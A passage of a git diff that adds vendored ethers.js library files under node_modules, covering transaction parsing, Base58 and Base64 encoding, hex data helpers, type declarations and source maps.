s(this.gasLimit), + gasPrice: s(this.gasPrice), + maxPriorityFeePerGas: s(this.maxPriorityFeePerGas), + maxFeePerGas: s(this.maxFeePerGas), + value: s(this.value), + chainId: s(this.chainId), + sig: this.signature ? this.signature.toJSON() : null, + accessList: this.accessList + }; + } + /** + * Create a **Transaction** from a serialized transaction or a + * Transaction-like object. + */ + static from(tx) { + if (tx == null) { + return new Transaction(); + } + if (typeof (tx) === "string") { + const payload = getBytes(tx); + if (payload[0] >= 0x7f) { // @TODO: > vs >= ?? + return Transaction.from(_parseLegacy(payload)); + } + switch (payload[0]) { + case 1: return Transaction.from(_parseEip2930(payload)); + case 2: return Transaction.from(_parseEip1559(payload)); + case 3: return Transaction.from(_parseEip4844(payload)); + case 4: return Transaction.from(_parseEip7702(payload)); + } + assert(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", { operation: "from" }); + } + const result = new Transaction(); + if (tx.type != null) { + result.type = tx.type; + } + if (tx.to != null) { + result.to = tx.to; + } + if (tx.nonce != null) { + result.nonce = tx.nonce; + } + if (tx.gasLimit != null) { + result.gasLimit = tx.gasLimit; + } + if (tx.gasPrice != null) { + result.gasPrice = tx.gasPrice; + } + if (tx.maxPriorityFeePerGas != null) { + result.maxPriorityFeePerGas = tx.maxPriorityFeePerGas; + } + if (tx.maxFeePerGas != null) { + result.maxFeePerGas = tx.maxFeePerGas; + } + if (tx.maxFeePerBlobGas != null) { + result.maxFeePerBlobGas = tx.maxFeePerBlobGas; + } + if (tx.data != null) { + result.data = tx.data; + } + if (tx.value != null) { + result.value = tx.value; + } + if (tx.chainId != null) { + result.chainId = tx.chainId; + } + if (tx.signature != null) { + result.signature = Signature.from(tx.signature); + } + if (tx.accessList != null) { + result.accessList = tx.accessList; + } + if (tx.authorizationList != null) { + result.authorizationList = tx.authorizationList; + } + // This will get overwritten by blobs, if present + if (tx.blobVersionedHashes != null) { + result.blobVersionedHashes = tx.blobVersionedHashes; + } + // Make sure we assign the kzg before assigning blobs, which + // require the library in the event raw blob data is provided. + if (tx.kzg != null) { + result.kzg = tx.kzg; + } + if (tx.blobs != null) { + result.blobs = tx.blobs; + } + if (tx.hash != null) { + assertArgument(result.isSigned(), "unsigned transaction cannot define '.hash'", "tx", tx); + assertArgument(result.hash === tx.hash, "hash mismatch", "tx", tx); + } + if (tx.from != null) { + assertArgument(result.isSigned(), "unsigned transaction cannot define '.from'", "tx", tx); + assertArgument(result.from.toLowerCase() === (tx.from || "").toLowerCase(), "from mismatch", "tx", tx); + } + return result; + } +} +//# sourceMappingURL=transaction.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/transaction.js.map b/node_modules/ethers/lib.esm/transaction/transaction.js.map new file mode 100644 index 000000000000..9473be4c7b13 --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/transaction.js.map @@ -0,0 +1 @@ +{"version":3,"file":"transaction.js","sourceRoot":"","sources":["../../src.ts/transaction/transaction.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,UAAU,EAAE,MAAM,qBAAqB,CAAC;AACjD,OAAO,EAAE,WAAW,EAAE,MAAM,2BAA2B,CAAC;AACxD,OAAO,EACH,SAAS,EAAE,MAAM,EAAE,SAAS,EAAE,UAAU,EAC3C,MAAM,oBAAoB,CAAC;AAC5B,OAAO,EACH,MAAM,EAAE,SAAS,EAAE,SAAS,EAAE,QAAQ,EAAE,SAAS,EAAE,SAAS,EAAE,OAAO,EACrE,MAAM,EAAE,cAAc,EAAE,WAAW,EAAE,WAAW,EAAE,SAAS,EAAE,YAAY,EAC5E,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,aAAa,EAAE,MAAM,iBAAiB,CAAC;AAChD,OAAO,EAAE,gBAAgB,EAAE,MAAM,oBAAoB,CAAC;AACtD,OAAO,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AAU9C,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,KAAK,GAAG,MAAM,CAAC,EAAE,CAAC,CAAA;AACxB,MAAM,KAAK,GAAG,MAAM,CAAC,EAAE,CAAC,CAAA;AACxB,MAAM,KAAK,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AACzB,MAAM,WAAW,GAAG,MAAM,CAAC,oEAAoE,CAAC,CAAC;AAEjG,MAAM,SAAS,GAAG,IAAI,GAAG,EAAE,CAAC;AAo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M,CAAC,IAAI,KAAK,EAAE,CAAC,IAAI,EAAE,eAAe,EAAE,IAAI,EAAE,EAAE,CAAC,CAAC;SACtE;QAED,IAAI,EAAE,CAAC,IAAI,IAAI,IAAI,EAAE;YACjB,cAAc,CAAC,MAAM,CAAC,QAAQ,EAAE,EAAE,4CAA4C,EAAE,IAAI,EAAE,EAAE,CAAC,CAAC;YAC1F,cAAc,CAAC,MAAM,CAAC,IAAI,CAAC,WAAW,EAAE,KAAK,CAAC,EAAE,CAAC,IAAI,IAAI,EAAE,CAAC,CAAC,WAAW,EAAE,EAAE,eAAe,EAAE,IAAI,EAAE,EAAE,CAAC,CAAC;SAC1G;QAED,OAAO,MAAM,CAAC;IAClB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/base58.d.ts b/node_modules/ethers/lib.esm/utils/base58.d.ts new file mode 100644 index 000000000000..8b377936b405 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/base58.d.ts @@ -0,0 +1,23 @@ +/** + * The [Base58 Encoding](link-base58) scheme allows a **numeric** value + * to be encoded as a compact string using a radix of 58 using only + * alpha-numeric characters. Confusingly similar characters are omitted + * (i.e. ``"l0O"``). + * + * Note that Base58 encodes a **numeric** value, not arbitrary bytes, + * since any zero-bytes on the left would get removed. To mitigate this + * issue most schemes that use Base58 choose specific high-order values + * to ensure non-zero prefixes. + * + * @_subsection: api/utils:Base58 Encoding [about-base58] + */ +import type { BytesLike } from "./index.js"; +/** + * Encode %%value%% as a Base58-encoded string. + */ +export declare function encodeBase58(_value: BytesLike): string; +/** + * Decode the Base58-encoded %%value%%. + */ +export declare function decodeBase58(value: string): bigint; +//# sourceMappingURL=base58.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/base58.d.ts.map b/node_modules/ethers/lib.esm/utils/base58.d.ts.map new file mode 100644 index 000000000000..a20c81671cc9 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/base58.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"base58.d.ts","sourceRoot":"","sources":["../../src.ts/utils/base58.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AAMH,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,YAAY,CAAC;AAsB5C;;GAEG;AACH,wBAAgB,YAAY,CAAC,MAAM,EAAE,SAAS,GAAG,MAAM,CAiBtD;AAED;;GAEG;AACH,wBAAgB,YAAY,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,CAOlD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/base58.js b/node_modules/ethers/lib.esm/utils/base58.js new file mode 100644 index 000000000000..6e8f27cbbd5d --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/base58.js @@ -0,0 +1,63 @@ +/** + * The [Base58 Encoding](link-base58) scheme allows a **numeric** value + * to be encoded as a compact string using a radix of 58 using only + * alpha-numeric characters. Confusingly similar characters are omitted + * (i.e. ``"l0O"``). + * + * Note that Base58 encodes a **numeric** value, not arbitrary bytes, + * since any zero-bytes on the left would get removed. To mitigate this + * issue most schemes that use Base58 choose specific high-order values + * to ensure non-zero prefixes. + * + * @_subsection: api/utils:Base58 Encoding [about-base58] + */ +import { getBytes } from "./data.js"; +import { assertArgument } from "./errors.js"; +import { toBigInt } from "./maths.js"; +const Alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; +let Lookup = null; +function getAlpha(letter) { + if (Lookup == null) { + Lookup = {}; + for (let i = 0; i < Alphabet.length; i++) { + Lookup[Alphabet[i]] = BigInt(i); + } + } + const result = Lookup[letter]; + assertArgument(result != null, `invalid base58 value`, "letter", letter); + return result; +} +const BN_0 = BigInt(0); +const BN_58 = BigInt(58); +/** + * Encode %%value%% as a Base58-encoded string. + */ +export function encodeBase58(_value) { + const bytes = getBytes(_value); + let value = toBigInt(bytes); + let result = ""; + while (value) { + result = Alphabet[Number(value % BN_58)] + result; + value /= BN_58; + } + // Account for leading padding zeros + for (let i = 0; i < bytes.length; i++) { + if (bytes[i]) { + break; + } + result = Alphabet[0] + result; + } + return result; +} +/** + * Decode the Base58-encoded %%value%%. + */ +export function decodeBase58(value) { + let result = BN_0; + for (let i = 0; i < value.length; i++) { + result *= BN_58; + result += getAlpha(value[i]); + } + return result; +} +//# sourceMappingURL=base58.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/base58.js.map b/node_modules/ethers/lib.esm/utils/base58.js.map new file mode 100644 index 000000000000..942d56a764dc --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/base58.js.map @@ -0,0 +1 @@ +{"version":3,"file":"base58.js","sourceRoot":"","sources":["../../src.ts/utils/base58.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AAEH,OAAO,EAAE,QAAQ,EAAE,MAAM,WAAW,CAAC;AACrC,OAAO,EAAE,cAAc,EAAE,MAAM,aAAa,CAAC;AAC7C,OAAO,EAAE,QAAQ,EAAE,MAAM,YAAY,CAAC;AAKtC,MAAM,QAAQ,GAAG,4DAA4D,CAAC;AAC9E,IAAI,MAAM,GAAkC,IAAI,CAAC;AAEjD,SAAS,QAAQ,CAAC,MAAc;IAC5B,IAAI,MAAM,IAAI,IAAI,EAAE;QAChB,MAAM,GAAG,EAAG,CAAC;QACb,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,QAAQ,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;YACtC,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;SACnC;KACJ;IACD,MAAM,MAAM,GAAG,MAAM,CAAC,MAAM,CAAC,CAAC;IAC9B,cAAc,CAAC,MAAM,IAAI,IAAI,EAAE,sBAAsB,EAAE,QAAQ,EAAE,MAAM,CAAC,CAAC;IACzE,OAAO,MAAM,CAAC;AAClB,CAAC;AAGD,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,KAAK,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AAEzB;;GAEG;AACH,MAAM,UAAU,YAAY,CAAC,MAAiB;IAC1C,MAAM,KAAK,GAAG,QAAQ,CAAC,MAAM,CAAC,CAAC;IAE/B,IAAI,KAAK,GAAG,QAAQ,CAAC,KAAK,CAAC,CAAC;IAC5B,IAAI,MAAM,GAAG,EAAE,CAAC;IAChB,OAAO,KAAK,EAAE;QACV,MAAM,GAAG,QAAQ,CAAC,MAAM,CAAC,KAAK,GAAG,KAAK,CAAC,CAAC,GAAG,MAAM,CAAC;QAClD,KAAK,IAAI,KAAK,CAAC;KAClB;IAED,oCAAoC;IACpC,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QACnC,IAAI,KAAK,CAAC,CAAC,CAAC,EAAE;YAAE,MAAM;SAAE;QACxB,MAAM,GAAG,QAAQ,CAAC,CAAC,CAAC,GAAG,MAAM,CAAC;KACjC;IAED,OAAO,MAAM,CAAC;AAClB,CAAC;AAED;;GAEG;AACH,MAAM,UAAU,YAAY,CAAC,KAAa;IACtC,IAAI,MAAM,GAAG,IAAI,CAAC;IAClB,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QACnC,MAAM,IAAI,KAAK,CAAC;QAChB,MAAM,IAAI,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC;KAChC;IACD,OAAO,MAAM,CAAC;AAClB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/base64-browser.d.ts b/node_modules/ethers/lib.esm/utils/base64-browser.d.ts new file mode 100644 index 000000000000..ea96c442ca74 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/base64-browser.d.ts @@ -0,0 +1,4 @@ +import type { BytesLike } from "./data.js"; +export declare function decodeBase64(textData: string): Uint8Array; +export declare function encodeBase64(_data: BytesLike): string; +//# sourceMappingURL=base64-browser.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/base64-browser.d.ts.map b/node_modules/ethers/lib.esm/utils/base64-browser.d.ts.map new file mode 100644 index 000000000000..0adb8e7b63db --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/base64-browser.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"base64-browser.d.ts","sourceRoot":"","sources":["../../src.ts/utils/base64-browser.ts"],"names":[],"mappings":"AAKA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,WAAW,CAAC;AAG3C,wBAAgB,YAAY,CAAC,QAAQ,EAAE,MAAM,GAAG,UAAU,CAOzD;AAED,wBAAgB,YAAY,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM,CAOrD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/base64-browser.js b/node_modules/ethers/lib.esm/utils/base64-browser.js new file mode 100644 index 000000000000..b9b98a35c9e1 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/base64-browser.js @@ -0,0 +1,19 @@ +// utils/base64-browser +import { getBytes } from "./data.js"; +export function decodeBase64(textData) { + textData = atob(textData); + const data = new Uint8Array(textData.length); + for (let i = 0; i < textData.length; i++) { + data[i] = textData.charCodeAt(i); + } + return getBytes(data); +} +export function encodeBase64(_data) { + const data = getBytes(_data); + let textData = ""; + for (let i = 0; i < data.length; i++) { + textData += String.fromCharCode(data[i]); + } + return btoa(textData); +} +//# sourceMappingURL=base64-browser.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/base64-browser.js.map b/node_modules/ethers/lib.esm/utils/base64-browser.js.map new file mode 100644 index 000000000000..5ece25ed7910 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/base64-browser.js.map @@ -0,0 +1 @@ +{"version":3,"file":"base64-browser.js","sourceRoot":"","sources":["../../src.ts/utils/base64-browser.ts"],"names":[],"mappings":"AACA,uBAAuB;AAEvB,OAAO,EAAE,QAAQ,EAAE,MAAM,WAAW,CAAC;AAKrC,MAAM,UAAU,YAAY,CAAC,QAAgB;IACzC,QAAQ,GAAG,IAAI,CAAC,QAAQ,CAAC,CAAC;IAC1B,MAAM,IAAI,GAAG,IAAI,UAAU,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC;IAC7C,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,QAAQ,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QACtC,IAAI,CAAC,CAAC,CAAC,GAAG,QAAQ,CAAC,UAAU,CAAC,CAAC,CAAC,CAAC;KACpC;IACD,OAAO,QAAQ,CAAC,IAAI,CAAC,CAAC;AAC1B,CAAC;AAED,MAAM,UAAU,YAAY,CAAC,KAAgB;IACzC,MAAM,IAAI,GAAG,QAAQ,CAAC,KAAK,CAAC,CAAC;IAC7B,IAAI,QAAQ,GAAG,EAAE,CAAC;IAClB,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,IAAI,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QAClC,QAAQ,IAAI,MAAM,CAAC,YAAY,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC;KAC5C;IACD,OAAO,IAAI,CAAC,QAAQ,CAAC,CAAC;AAC1B,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/base64.d.ts b/node_modules/ethers/lib.esm/utils/base64.d.ts new file mode 100644 index 000000000000..0cab53288914 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/base64.d.ts @@ -0,0 +1,40 @@ +import type { BytesLike } from "./data.js"; +/** + * Decodes the base-64 encoded %%value%%. + * + * @example: + * // The decoded value is always binary data... + * result = decodeBase64("SGVsbG8gV29ybGQhIQ==") + * //_result: + * + * // ...use toUtf8String to convert it to a string. + * toUtf8String(result) + * //_result: + * + * // Decoding binary data + * decodeBase64("EjQ=") + * //_result: + */ +export declare function decodeBase64(value: string): Uint8Array; +/** + * Encodes %%data%% as a base-64 encoded string. + * + * @example: + * // Encoding binary data as a hexstring + * encodeBase64("0x1234") + * //_result: + * + * // Encoding binary data as a Uint8Array + * encodeBase64(new Uint8Array([ 0x12, 0x34 ])) + * //_result: + * + * // The input MUST be data... + * encodeBase64("Hello World!!") + * //_error: + * + * // ...use toUtf8Bytes for this. + * encodeBase64(toUtf8Bytes("Hello World!!")) + * //_result: + */ +export declare function encodeBase64(data: BytesLike): string; +//# sourceMappingURL=base64.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/base64.d.ts.map b/node_modules/ethers/lib.esm/utils/base64.d.ts.map new file mode 100644 index 000000000000..90ad51c1d0fb --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/base64.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"base64.d.ts","sourceRoot":"","sources":["../../src.ts/utils/base64.ts"],"names":[],"mappings":"AAUA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,WAAW,CAAC;AAG3C;;;;;;;;;;;;;;;GAeG;AACH,wBAAgB,YAAY,CAAC,KAAK,EAAE,MAAM,GAAG,UAAU,CAEtD;AAED;;;;;;;;;;;;;;;;;;;GAmBG;AACH,wBAAgB,YAAY,CAAC,IAAI,EAAE,SAAS,GAAG,MAAM,CAEpD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/base64.js b/node_modules/ethers/lib.esm/utils/base64.js new file mode 100644 index 000000000000..8ac4416beae0 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/base64.js @@ -0,0 +1,53 @@ +/** + * [Base64 encoding](link-wiki-base64) using 6-bit words to encode + * arbitrary bytes into a string using 65 printable symbols, the + * upper-case and lower-case alphabet, the digits ``0`` through ``9``, + * ``"+"`` and ``"/"`` with the ``"="`` used for padding. + * + * @_subsection: api/utils:Base64 Encoding [about-base64] + */ +import { getBytes, getBytesCopy } from "./data.js"; +/** + * Decodes the base-64 encoded %%value%%. + * + * @example: + * // The decoded value is always binary data... + * result = decodeBase64("SGVsbG8gV29ybGQhIQ==") + * //_result: + * + * // ...use toUtf8String to convert it to a string. + * toUtf8String(result) + * //_result: + * + * // Decoding binary data + * decodeBase64("EjQ=") + * //_result: + */ +export function decodeBase64(value) { + return getBytesCopy(Buffer.from(value, "base64")); +} +; +/** + * Encodes %%data%% as a base-64 encoded string. + * + * @example: + * // Encoding binary data as a hexstring + * encodeBase64("0x1234") + * //_result: + * + * // Encoding binary data as a Uint8Array + * encodeBase64(new Uint8Array([ 0x12, 0x34 ])) + * //_result: + * + * // The input MUST be data... + * encodeBase64("Hello World!!") + * //_error: + * + * // ...use toUtf8Bytes for this. + * encodeBase64(toUtf8Bytes("Hello World!!")) + * //_result: + */ +export function encodeBase64(data) { + return Buffer.from(getBytes(data)).toString("base64"); +} +//# sourceMappingURL=base64.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/base64.js.map b/node_modules/ethers/lib.esm/utils/base64.js.map new file mode 100644 index 000000000000..e24e66069853 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/base64.js.map @@ -0,0 +1 @@ +{"version":3,"file":"base64.js","sourceRoot":"","sources":["../../src.ts/utils/base64.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AACH,OAAO,EAAE,QAAQ,EAAE,YAAY,EAAE,MAAM,WAAW,CAAC;AAKnD;;;;;;;;;;;;;;;GAeG;AACH,MAAM,UAAU,YAAY,CAAC,KAAa;IACtC,OAAO,YAAY,CAAC,MAAM,CAAC,IAAI,CAAC,KAAK,EAAE,QAAQ,CAAC,CAAC,CAAC;AACtD,CAAC;AAAA,CAAC;AAEF;;;;;;;;;;;;;;;;;;;GAmBG;AACH,MAAM,UAAU,YAAY,CAAC,IAAe;IACxC,OAAO,MAAM,CAAC,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,QAAQ,CAAC,QAAQ,CAAC,CAAC;AAC1D,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/data.d.ts b/node_modules/ethers/lib.esm/utils/data.d.ts new file mode 100644 index 000000000000..59f4fc0ed487 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/data.d.ts @@ -0,0 +1,93 @@ +/** + * A [[HexString]] whose length is even, which ensures it is a valid + * representation of binary data. + */ +export type DataHexString = string; +/** + * A string which is prefixed with ``0x`` and followed by any number + * of case-agnostic hexadecimal characters. + * + * It must match the regular expression ``/0x[0-9A-Fa-f]*\/``. + */ +export type HexString = string; +/** + * An object that can be used to represent binary data. + */ +export type BytesLike = DataHexString | Uint8Array; +/** + * Get a typed Uint8Array for %%value%%. If already a Uint8Array + * the original %%value%% is returned; if a copy is required use + * [[getBytesCopy]]. + * + * @see: getBytesCopy + */ +export declare function getBytes(value: BytesLike, name?: string): Uint8Array; +/** + * Get a typed Uint8Array for %%value%%, creating a copy if necessary + * to prevent any modifications of the returned value from being + * reflected elsewhere. + * + * @see: getBytes + */ +export declare function getBytesCopy(value: BytesLike, name?: string): Uint8Array; +/** + * Returns true if %%value%% is a valid [[HexString]]. + * + * If %%length%% is ``true`` or a //number//, it also checks that + * %%value%% is a valid [[DataHexString]] of %%length%% (if a //number//) + * bytes of data (e.g. ``0x1234`` is 2 bytes). + */ +export declare function isHexString(value: any, length?: number | boolean): value is `0x${string}`; +/** + * Returns true if %%value%% is a valid representation of arbitrary + * data (i.e. a valid [[DataHexString]] or a Uint8Array). + */ +export declare function isBytesLike(value: any): value is BytesLike; +/** + * Returns a [[DataHexString]] representation of %%data%%. + */ +export declare function hexlify(data: BytesLike): string; +/** + * Returns a [[DataHexString]] by concatenating all values + * within %%data%%. + */ +export declare function concat(datas: ReadonlyArray): string; +/** + * Returns the length of %%data%%, in bytes. + */ +export declare function dataLength(data: BytesLike): number; +/** + * Returns a [[DataHexString]] by slicing %%data%% from the %%start%% + * offset to the %%end%% offset. + * + * By default %%start%% is 0 and %%end%% is the length of %%data%%. + */ +export declare function dataSlice(data: BytesLike, start?: number, end?: number): string; +/** + * Return the [[DataHexString]] result by stripping all **leading** + ** zero bytes from %%data%%. + */ +export declare function stripZerosLeft(data: BytesLike): string; +/** + * Return the [[DataHexString]] of %%data%% padded on the **left** + * to %%length%% bytes. + * + * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is + * thrown. + * + * This pads data the same as **values** are in Solidity + * (e.g. ``uint128``). + */ +export declare function zeroPadValue(data: BytesLike, length: number): string; +/** + * Return the [[DataHexString]] of %%data%% padded on the **right** + * to %%length%% bytes. + * + * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is + * thrown. + * + * This pads data the same as **bytes** are in Solidity + * (e.g. ``bytes16``). + */ +export declare function zeroPadBytes(data: BytesLike, length: number): string; +//# sourceMappingURL=data.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/data.d.ts.map b/node_modules/ethers/lib.esm/utils/data.d.ts.map new file mode 100644 index 000000000000..b488d824d620 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/data.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"data.d.ts","sourceRoot":"","sources":["../../src.ts/utils/data.ts"],"names":[],"mappings":"AAQA;;;GAGG;AACH,MAAM,MAAM,aAAa,GAAG,MAAM,CAAC;AAEnC;;;;;GAKG;AACH,MAAM,MAAM,SAAS,GAAG,MAAM,CAAC;AAE/B;;GAEG;AACH,MAAM,MAAM,SAAS,GAAG,aAAa,GAAG,UAAU,CAAC;AAqBnD;;;;;;GAMG;AACH,wBAAgB,QAAQ,CAAC,KAAK,EAAE,SAAS,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,UAAU,CAEpE;AAED;;;;;;GAMG;AACH,wBAAgB,YAAY,CAAC,KAAK,EAAE,SAAS,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,UAAU,CAExE;AAGD;;;;;;GAMG;AACH,wBAAgB,WAAW,CAAC,KAAK,EAAE,GAAG,EAAE,MAAM,CAAC,EAAE,MAAM,GAAG,OAAO,GAAG,KAAK,IAAI,KAAM,MAAO,EAAE,CAS3F;AAED;;;GAGG;AACH,wBAAgB,WAAW,CAAC,KAAK,EAAE,GAAG,GAAG,KAAK,IAAI,SAAS,CAE1D;AAID;;GAEG;AACH,wBAAgB,OAAO,CAAC,IAAI,EAAE,SAAS,GAAG,MAAM,CAS/C;AAED;;;GAGG;AACH,wBAAgB,MAAM,CAAC,KAAK,EAAE,aAAa,CAAC,SAAS,CAAC,GAAG,MAAM,CAE9D;AAED;;GAEG;AACH,wBAAgB,UAAU,CAAC,IAAI,EAAE,SAAS,GAAG,MAAM,CAGlD;AAED;;;;;GAKG;AACH,wBAAgB,SAAS,CAAC,IAAI,EAAE,SAAS,EAAE,KAAK,CAAC,EAAE,MAAM,EAAE,GAAG,CAAC,EAAE,MAAM,GAAG,MAAM,CAQ/E;AAED;;;GAGG;AACH,wBAAgB,cAAc,CAAC,IAAI,EAAE,SAAS,GAAG,MAAM,CAItD;AAqBD;;;;;;;;;GASG;AACH,wBAAgB,YAAY,CAAC,IAAI,EAAE,SAAS,EAAE,MAAM,EAAE,MAAM,GAAG,MAAM,CAEpE;AAED;;;;;;;;;GASG;AACH,wBAAgB,YAAY,CAAC,IAAI,EAAE,SAAS,EAAE,MAAM,EAAE,MAAM,GAAG,MAAM,CAEpE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/data.js b/node_modules/ethers/lib.esm/utils/data.js new file mode 100644 index 000000000000..8e5dee5c2238 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/data.js @@ -0,0 +1,170 @@ +/** + * Some data helpers. + * + * + * @_subsection api/utils:Data Helpers [about-data] + */ +import { assert, assertArgument } from "./errors.js"; +function _getBytes(value, name, copy) { + if (value instanceof Uint8Array) { + if (copy) { + return new Uint8Array(value); + } + return value; + } + if (typeof (value) === "string" && value.match(/^0x(?:[0-9a-f][0-9a-f])*$/i)) { + const result = new Uint8Array((value.length - 2) / 2); + let offset = 2; + for (let i = 0; i < result.length; i++) { + result[i] = parseInt(value.substring(offset, offset + 2), 16); + offset += 2; + } + return result; + } + assertArgument(false, "invalid BytesLike value", name || "value", value); +} +/** + * Get a typed Uint8Array for %%value%%. If already a Uint8Array + * the original %%value%% is returned; if a copy is required use + * [[getBytesCopy]]. + * + * @see: getBytesCopy + */ +export function getBytes(value, name) { + return _getBytes(value, name, false); +} +/** + * Get a typed Uint8Array for %%value%%, creating a copy if necessary + * to prevent any modifications of the returned value from being + * reflected elsewhere. + * + * @see: getBytes + */ +export function getBytesCopy(value, name) { + return _getBytes(value, name, true); +} +/** + * Returns true if %%value%% is a valid [[HexString]]. + * + * If %%length%% is ``true`` or a //number//, it also checks that + * %%value%% is a valid [[DataHexString]] of %%length%% (if a //number//) + * bytes of data (e.g. ``0x1234`` is 2 bytes). + */ +export function isHexString(value, length) { + if (typeof (value) !== "string" || !value.match(/^0x[0-9A-Fa-f]*$/)) { + return false; + } + if (typeof (length) === "number" && value.length !== 2 + 2 * length) { + return false; + } + if (length === true && (value.length % 2) !== 0) { + return false; + } + return true; +} +/** + * Returns true if %%value%% is a valid representation of arbitrary + * data (i.e. a valid [[DataHexString]] or a Uint8Array). + */ +export function isBytesLike(value) { + return (isHexString(value, true) || (value instanceof Uint8Array)); +} +const HexCharacters = "0123456789abcdef"; +/** + * Returns a [[DataHexString]] representation of %%data%%. + */ +export function hexlify(data) { + const bytes = getBytes(data); + let result = "0x"; + for (let i = 0; i < bytes.length; i++) { + const v = bytes[i]; + result += HexCharacters[(v & 0xf0) >> 4] + HexCharacters[v & 0x0f]; + } + return result; +} +/** + * Returns a [[DataHexString]] by concatenating all values + * within %%data%%. + */ +export function concat(datas) { + return "0x" + datas.map((d) => hexlify(d).substring(2)).join(""); +} +/** + * Returns the length of %%data%%, in bytes. + */ +export function dataLength(data) { + if (isHexString(data, true)) { + return (data.length - 2) / 2; + } + return getBytes(data).length; +} +/** + * Returns a [[DataHexString]] by slicing %%data%% from the %%start%% + * offset to the %%end%% offset. + * + * By default %%start%% is 0 and %%end%% is the length of %%data%%. + */ +export function dataSlice(data, start, end) { + const bytes = getBytes(data); + if (end != null && end > bytes.length) { + assert(false, "cannot slice beyond data bounds", "BUFFER_OVERRUN", { + buffer: bytes, length: bytes.length, offset: end + }); + } + return hexlify(bytes.slice((start == null) ? 0 : start, (end == null) ? bytes.length : end)); +} +/** + * Return the [[DataHexString]] result by stripping all **leading** + ** zero bytes from %%data%%. + */ +export function stripZerosLeft(data) { + let bytes = hexlify(data).substring(2); + while (bytes.startsWith("00")) { + bytes = bytes.substring(2); + } + return "0x" + bytes; +} +function zeroPad(data, length, left) { + const bytes = getBytes(data); + assert(length >= bytes.length, "padding exceeds data length", "BUFFER_OVERRUN", { + buffer: new Uint8Array(bytes), + length: length, + offset: length + 1 + }); + const result = new Uint8Array(length); + result.fill(0); + if (left) { + result.set(bytes, length - bytes.length); + } + else { + result.set(bytes, 0); + } + return hexlify(result); +} +/** + * Return the [[DataHexString]] of %%data%% padded on the **left** + * to 